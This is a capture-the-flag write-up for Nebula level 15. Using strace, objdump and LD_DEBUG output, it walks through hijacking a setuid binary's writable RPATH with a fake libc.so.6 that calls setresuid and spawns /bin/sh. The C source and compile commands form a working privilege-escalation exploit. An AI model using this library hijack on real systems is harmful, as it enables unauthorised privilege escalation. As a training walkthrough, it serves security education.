In Level 15 we are given the following description:

strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary. You may wish to review how to “compile a shared library in linux” and how the libraries are loaded and processed by reviewing the dlopen manpage in depth. Clean up after yourself :)

As suggested by the challange, we execute strace:

level15@nebula:/home/flag15$ strace ./flag15
execve("./flag15", ["./flag15"], [/* 20 vars */]) = 0
brk(0)                                  = 0x9e8f000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7783000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbf8c7444) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbf8c7444) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbf8c7444) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbf8c7444) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbf8c7444) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2", 0xbf8c7444) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/cmov", 0xbf8c7444) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls", 0xbf8c7444) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbf8c7444) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbf8c7444) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbf8c7444) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbf8c7444) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbf8c7444) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbf8c7444) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/cmov", 0xbf8c7444) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=4096, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=19771, ...}) = 0
mmap2(NULL, 19771, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb777e000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0
mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xc19000
mmap2(0xd8f000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0xd8f000
mmap2(0xd92000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xd92000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb777d000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb777d8d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xd8f000, 8192, PROT_READ)     = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0xfdf000, 4096, PROT_READ)     = 0
munmap(0xb777e000, 19771)               = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7782000
write(1, "strace it!\n", 11strace it!
)            = 11
exit_group(11)                          = ?

Ok, it looks like the binary is trying to load lib.so.6 from different locations including /var/tmp/flag15 where we have write permissions, and since it fails, it ends up loading the system libc (/lib/i386-linux-gnu/libc.so.6), then it writes “strace it!” and quits.

Lets take a look at binary:

level15@nebula:/home/flag15$ objdump -p flag15

flag15:     file format elf32-i386

Program Header:
    PHDR off    0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
         filesz 0x00000120 memsz 0x00000120 flags r-x
  INTERP off    0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0
         filesz 0x00000013 memsz 0x00000013 flags r--
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x000005d4 memsz 0x000005d4 flags r-x
    LOAD off    0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**12
         filesz 0x00000108 memsz 0x00000110 flags rw-
 DYNAMIC off    0x00000f20 vaddr 0x08049f20 paddr 0x08049f20 align 2**2
         filesz 0x000000d0 memsz 0x000000d0 flags rw-
    NOTE off    0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2
         filesz 0x00000044 memsz 0x00000044 flags r--
EH_FRAME off    0x000004dc vaddr 0x080484dc paddr 0x080484dc align 2**2
         filesz 0x00000034 memsz 0x00000034 flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags rw-
   RELRO off    0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**0
         filesz 0x000000f4 memsz 0x000000f4 flags r--

Dynamic Section:
  NEEDED               libc.so.6
  RPATH                /var/tmp/flag15
  INIT                 0x080482c0
  FINI                 0x080484ac
  GNU_HASH             0x080481ac
  STRTAB               0x0804821c
  SYMTAB               0x080481cc
  STRSZ                0x0000005a
  SYMENT               0x00000010
  DEBUG                0x00000000
  PLTGOT               0x08049ff4
  PLTRELSZ             0x00000018
  PLTREL               0x00000011
  JMPREL               0x080482a8
  REL                  0x080482a0
  RELSZ                0x00000008
  RELENT               0x00000008
  VERNEED              0x08048280
  VERNEEDNUM           0x00000001
  VERSYM               0x08048276

Version References:
  required from libc.so.6:
    0x0d696910 0x00 02 GLIBC_2.0

The private headers show us a couple of interesting things, the binary uses shared libs and requires libc.so.6, the binary was compiled with RPATH. which is a term in programming which refers to a run-time search path hard-coded in an executable file or library, used during dynamic linking to find the libraries the executable or library requires. The cool thing about RPATH is that libraries loaded from the run-time path wont disable te setuid execution as LD_PRELOAD would do. So we can inject our own libc.so.6 (Using version GLIBC_2.0 as required by the binary) in the RPATH directory and hook any of the used functions to execute our setuid shell. Lets see what functions does our binary use from libc:

level15@nebula:/home/flag15$ objdump -R flag15

flag15:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a000 R_386_JUMP_SLOT   puts
0804a004 R_386_JUMP_SLOT   __gmon_start__
0804a008 R_386_JUMP_SLOT   __libc_start_main

From Linuxbase:

The __libc_start_main() function shall perform any necessary initialization of the execution environment, call the main function with appropriate arguments, and handle the return from main(). If the main() function returns, the return value shall be passed to the exit() function.

And for gmon_start:

The function call_gmon_start initializes the gmon profiling system. This system is enabled when binaries are compiled with the -pg flag, and creates output for use with gprof(1). In the case of the scenario binary call_gmon_start is situated directly proceeding that _start function. The call_gmon_start function finds the last entry in the Global Offset Table (also known as gmon_start) and, if not NULL, will pass control to the specified address. The gmon_start element points to the gmon initialization function, which starts the recording of profiling information and registers a cleanup function with atexit(). In our case however gmon is not in use, and as such gmon_start is NULL.

So both of them look like good places to hook up our shell, but since Im more familiar with __libc_start_main(), I will inject the shell there:

level15@nebula:/var/tmp$ mkdir flag15
level15@nebula:/var/tmp$ cd flag15
level15@nebula:/var/tmp/flag15$ cat shell.c
#include <linux/unistd.h>

int __libc_start_main(int (*main) (int, char **, char **), int argc, char *argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end) {
  system("/bin/sh");
}
level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC -o libc.so.6 shell.c
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference

Ok, our library was injected but it looks like it is missing a symbol:

level15@nebula:/var/tmp/flag15$ cat shell.c
#include <linux/unistd.h>


void __cxa_finalize (void *d) {
    return;
}

int __libc_start_main(int (*main) (int, char **, char **), int argc, char *argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end) {
  system("/bin/sh");
}
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol system, version GLIBC_2.0 not defined in file libc.so.6 with link time reference

We need to provide version info to our library and it should be compatible with GLIBC_2.0. Googling around we find the following link that explains how to do it: [version-script]():

level15@nebula:/var/tmp/flag15$ cat version
GLIBC_2.0 { };
level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC -o libc.so.6 shell.c -Wl,--version-script=version
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol execve, version GLIBC_2.0 not defined in file libc.so.6 with link time reference

WTF!?? Im still getting the same error. Lets copy the flag15 file to remove the setuid flag and use LD_DEBUG to gain some insights:

level15@nebula:/var/tmp/flag15$ cp /home/flag15/flag15 .
level15@nebula:/var/tmp/flag15$ LD_DEBUG=all ./flag15
      6769:
      6769:	file=libc.so.6 [0];  needed by ./flag15 [0]
      6769:	find library=libc.so.6 [0]; searching
      6769:	 search path=/var/tmp/flag15/tls/i686/sse2/cmov:/var/tmp/flag15/tls/i686/sse2:/var/tmp/flag15/tls/i686/cmov:/var/tmp/flag15/tls/i686:/var/tmp/flag15/tls/sse2/cmov:/var/tmp/flag15/tls/sse2:/var/tmp/flag15/tls/cmov:/var/tmp/flag15/tls:/var/tmp/flag15/i686/sse2/cmov:/var/tmp/flag15/i686/sse2:/var/tmp/flag15/i686/cmov:/var/tmp/flag15/i686:/var/tmp/flag15/sse2/cmov:/var/tmp/flag15/sse2:/var/tmp/flag15/cmov:/var/tmp/flag15		(RPATH from file ./flag15)
      6769:	  trying file=/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6
      6769:	  trying file=/var/tmp/flag15/tls/i686/sse2/libc.so.6
      6769:	  trying file=/var/tmp/flag15/tls/i686/cmov/libc.so.6
      6769:	  trying file=/var/tmp/flag15/tls/i686/libc.so.6
      6769:	  trying file=/var/tmp/flag15/tls/sse2/cmov/libc.so.6
      6769:	  trying file=/var/tmp/flag15/tls/sse2/libc.so.6
      6769:	  trying file=/var/tmp/flag15/tls/cmov/libc.so.6
      6769:	  trying file=/var/tmp/flag15/tls/libc.so.6
      6769:	  trying file=/var/tmp/flag15/i686/sse2/cmov/libc.so.6
      6769:	  trying file=/var/tmp/flag15/i686/sse2/libc.so.6
      6769:	  trying file=/var/tmp/flag15/i686/cmov/libc.so.6
      6769:	  trying file=/var/tmp/flag15/i686/libc.so.6
      6769:	  trying file=/var/tmp/flag15/sse2/cmov/libc.so.6
      6769:	  trying file=/var/tmp/flag15/sse2/libc.so.6
      6769:	  trying file=/var/tmp/flag15/cmov/libc.so.6
      6769:	  trying file=/var/tmp/flag15/libc.so.6
      6769:
      6769:	file=libc.so.6 [0];  generating link map
      6769:	  dynamic: 0x00f6af18  base: 0x00f69000   size: 0x00002014
      6769:	    entry: 0x00f69310  phdr: 0x00f69034  phnum:          7
      6769:
      6769:	checking for version `GLIBC_2.0' in file /var/tmp/flag15/libc.so.6 [0] required by file ./flag15 [0]
      6769:	checking for version `GLIBC_2.0' in file /var/tmp/flag15/libc.so.6 [0] required by file /var/tmp/flag15/libc.so.6 [0]
      6769:
      6769:	relocation processing: /var/tmp/flag15/libc.so.6 (lazy)
      6769:	symbol=__gmon_start__;  lookup in file=./flag15 [0]
      6769:	symbol=__gmon_start__;  lookup in file=/var/tmp/flag15/libc.so.6 [0]
      6769:	symbol=_Jv_RegisterClasses;  lookup in file=./flag15 [0]
      6769:	symbol=_Jv_RegisterClasses;  lookup in file=/var/tmp/flag15/libc.so.6 [0]
      6769:
      6769:	relocation processing: ./flag15 (lazy)
      6769:	symbol=__gmon_start__;  lookup in file=./flag15 [0]
      6769:	symbol=__gmon_start__;  lookup in file=/var/tmp/flag15/libc.so.6 [0]
      6769:
      6769:	calling init: /var/tmp/flag15/libc.so.6
      6769:
      6769:	symbol=__libc_start_main;  lookup in file=./flag15 [0]
      6769:	symbol=__libc_start_main;  lookup in file=/var/tmp/flag15/libc.so.6 [0]
      6769:	binding file ./flag15 [0] to /var/tmp/flag15/libc.so.6 [0]: normal symbol `__libc_start_main' [GLIBC_2.0]
      6769:	symbol=system;  lookup in file=./flag15 [0]
      6769:	symbol=system;  lookup in file=/var/tmp/flag15/libc.so.6 [0]
      6769:	/var/tmp/flag15/libc.so.6: error: relocation error: symbol system, version GLIBC_2.0 not defined in file libc.so.6 with link time reference (fatal)

Ok, in the lst lines, we can see that the symbol __libc_start_main was found on our injected library, but the symbol system is nowhere to be found. We can compile our library statically so it includes all the dependencies it needs:

level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic -o libc.so.6 shell.c
level15@nebula:/var/tmp/flag15$ ./flag15
sh-4.2$ id
uid=1016(level15) gid=1016(level15) groups=1016(level15)

Nice, it worked! now, lets try it with the original setuid binary:

sh-4.2$ id
uid=1016(level15) gid=1016(level15) euid=984(flag15) groups=984(flag15),1016(level15)

Oopps effective uid is flag15 but we are still level15, we forgot to apply the effective uid before calling to system, lets add a setresuid() call to set the effective uid as real one:

level15@nebula:/var/tmp/flag15$ cat shell.c
#include <linux/unistd.h>

void __cxa_finalize (void *d) {
    return;
}

int __libc_start_main(int (*main) (int, char **, char **), int argc, char *argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end) {
  setresuid(geteuid(),geteuid(),geteuid());
  system("/bin/sh");
}
level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic -o libc.so.6 shell.c
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
sh-4.2$ id
uid=984(flag15) gid=1016(level15) groups=984(flag15),1016(level15)

Voila!